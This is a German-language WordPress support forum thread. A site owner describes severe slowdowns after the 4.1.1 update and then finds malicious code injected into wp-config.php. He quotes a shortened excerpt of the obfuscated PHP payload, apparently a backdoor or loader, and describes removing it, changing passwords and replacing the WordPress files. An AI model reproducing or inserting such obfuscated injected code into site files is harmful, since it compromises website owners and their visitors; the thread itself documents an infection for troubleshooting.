Frontend WP 4.1.1 lädt extrem langsam

Hi Leute,

ich habe ein Riesen-Problem mit meinem WP 4.1.1. Ich bekam am 19.2. das automatische Update auf 4.1.1. Es lief wunderbar, den ganzen Tag lang.

Ab dem 20.2. sind meine Zugriffszeiten auf meine Seite unter http://www.chauvi-seite.de extrem langsam, teilweise dauert es 10 Minuten, bis die Seite aufgeht. Manchmal erscheint ein Fehler 500, manchmal gar nichts.
Auf das Backend komme ich seltsamerweise drauf, ich kann mich als Admin anmelden, das läuft auch sehr flott.

Von mir wurden sämtliche Plugins deaktiviert, keine Besserung.
Ich habe das Theme auf eine ganz simples umgestellt, keine Besserung.
Die .htaccess hatte ich auch in Verdacht, die war es auch nicht.

Anruf bei 1&1 brachte keinen Erfolg, angeblich wäre mein Paket, das seit Jahren super läuft, zu klein, die Performance von heute auf morgen nicht mehr ausreichend? Wie das, es lief doch bis dahin problemlos, wenn ich nicht zu viele Plugins aktiviert hatte, ich hatte max. 10-12 am laufen. Aber auch mit deaktivierten Plugins ist kein Zugriff möglich. Das kann es doch nicht sein!?

Wo könnte das Problem mit der langsam landenden Seite liegen, hat jemand noch eine Idee?

lg
Markus

Ich habe den Fehler gefunden. Durch Zufall bin ich in der wp-config.php auf schadecode gestossen. das stand in der datei am anfang:

Zitat

[FONT=arial]$zxeanflftz = '%x7825)!gj!<2,[/FONT]j%x5c7827)fepdof.)fepdof.%x5cmg%x5c%x7825!<12>j%x5c%x782tpi}Y;tuofuopd%x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%25}&;ftmbg}%x5c%x787f;!osvufs}]y76#<%x5c%x78e%x5c%x78b%x5c%x7825w:!>!%x5c%x6<*doj%x5c%x78257-C)fepmqnjA%x5c%x7827&6<.fmjgA%x5c%x78274]y31M6]y3e]81#%x5c%x782f#7e:55946-t86057ftbc%x5c%x787f!|!*uyfu%x5c%x7827k:!ftmf!}Z;^nbsbq56]y81]265]y72]254]y76]61]y33]68]y34]68]y33]65]y31]53]y6d3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-#1GO%x5c%x7822#)fepX%x5c%x7827u%x5c%x7825)7fmji%x5c%x78786<C%x5c%x7827&6<*rfs%x5c825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c%x78256<p-!OVMM<(<%x5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y81]273]ymqyfA>2b%x5c%x7825!<*qp%x5c%x78x5c%x7824*<!~!dsfbuf%x%x61"])))) { $GLOBALS["%c:>1<%x5c%x7825b:>1<!gps)%x5825}U;y]}R;2]},;osvufs}%x5c%x7827;mnui}&;zepc}A;~5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x7827K6<%x5c825)fnbozcYufhA%x5c%x7827c%x7825j:>1<%x5c%x7825j:=tj{fpg{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x5c%xdXA6|7*197-2qj%x5c%x78257-K)udfoopdXA%x5c%x7822)7gj6<*QD{ftmfV%x5c%x787f<*X&Z&S{ftmfV%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%5c%x78257>%x5c%x782f7&6|7**111127-K)ebfs*d%x5c%x7827,*c%x5c%x7827,*b%x5c%x5:-t%x5c%x7825)3of:opjudovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x7824m)%x5c%x7825%x5c%x7878:-!%x52178}527}88:}334}472%x5c%x7824<!%x55c%x7825Z<#opo#>b%x5c%x7825!%x5c%x7825s:%x5c%x78!<2,*j%x5c%x7825!#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*7z>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5%x5c%x7824%x5c%x7824b!>!%x5c%x7825yy)#}##%x55c%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*CWtfs%x#ojneb#f%x5c%x7825)sf%x5c%x7878pmpusut)tpqssutRe%x5c%x7827878W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tu7824!|!%x5c%x7824-%x5c%%x5c%x7825j:^<!%x5c%x7825w%x5c%x7860%x5c%x785c^>Ew:Qb:Q5.)1%x5c%x782f14+9*)1%x5c%x782f2986+7*^%x5c%x782f%x5c%x782yfR%x5c%x7827tfs%x5c%x78256<*17-S%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825c!>!%x5c%x7825i%x5c%x785cr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825%x787fw6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x7825)7gj6<*2U%x5c%x7860MPT7-NBFSUT%x2qj%x5c%x78256<^#zsfvr#%x5c%x785cq%x5c%x78257%x57860un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%25>j%x5c%x7825!*3!%x5c%x7827!hmg%x5c%x7825!)!gjx7825)323ldfidk!~!<**qp%x5c%x7825!-uyfuvg}%x5c%x7878;0]=])0#)U!%x5c%x7827{**u%x5c%x7825#jt0}Z;0]=]0#)2q%x56]271]y7d]252]y74]256#<!%x5c%x7825ff2!>!bssbz)x78e%x5c%x78b%x5c%x7825m3,j%x5c%x7825>j%x5c%x7825!<**3-j%x5c%x7825-bubEFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%x5c%x78257-MSV,631]55]y85]82]y76]62]y3:]84-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x78c%x7825):fmji%x5c%x7878:<##:>:h%x5c%x7825:<#64y]552]e7y]#>n%W##C##O##N#%x5c%x7824%x5c%x782f%x5c%x7825kj:7825)utjm6<%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x5h>EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*[!%x5c%x7825r<*)ujojR%x5c%x7827id%x5c%x78256<%x5c%x787fw*##>>X)!gjZ<#opo#>b%x5c%x7825!*X)ufttj%x5c%x7822)gj!|!*nbsbq%x5c%!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5c%7822:ftmbg39*56A:>:8:|:7#6#)tutjyf%x5c%x7860x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%x7825>U<#16>2q%x5c%x7825<#g6R85,67R37,18R#>q%x5c%xx5c%x782f},;##}+;%x5c%x7825-qp%x5c%x7825)54l}%x5c%xc%x7825tzw%x5c%x782f%x5c%x#I##K##L##M##[##Y##D##x78223}!+!<+{e%x5c%x7825+!+fepdfe{h+{d%x5c%x7825)+opjudo7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x78225tjw!>!#]y84]275]y83]248]y83]256]y81]265]y5c%x782f7rfs%x5c%x78256<#o2^<!Ce[!%x5c%x7825cIjQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%xd_SFSFGFS%x5c%x7860QUUI&c_UOFHB%x5c%x7860SFTV%7825w6Z6<.3%x5c%x7860hA5c%x7860gvodujpo)##!#~<#%x5c%x782f%x5c%x7825%x5c%x7824-%x5c%5cq%x5c%x78257*^#zsfvr#%x5c%x785cq%x5c%x7x61%156%x75%156%x61"]=1; function fjfgg($n){rex7824%x5c%x785c%x5c%x7825j^%x5c%x7824-)

gekürzt

nach löschen von diesem mist läuft meine seite wieder einwandfrei. gut, sie ist nicht besonders schnell, aber sie läuft wieder. witzigerweise hat mir der support von 1&1 in keinster weise weiterhelfen können. ich warte bereits seit 2 tagen auf antwort. der typ am telefon wollte nur zwei dinge loswerden: bei einer wordpress bin ich komplett selbst verantwortlich, man hilft mir nicht bei problemen und zweitens: kauf dir einen eigenen server für die domain bei 1&1! witzbolde.

danke für die hinweise. kw habe ich geändert. bisher habe ich keine weiteren infizierten files gefunden. ich habe aber vorsichtshalber alle wp-dateien ausgetauscht. seltsam finde ich, dass der 1&1 scanner nicht angeschlagen hat.

gute frage? altes plugin, theme, ich bin auf der suche ...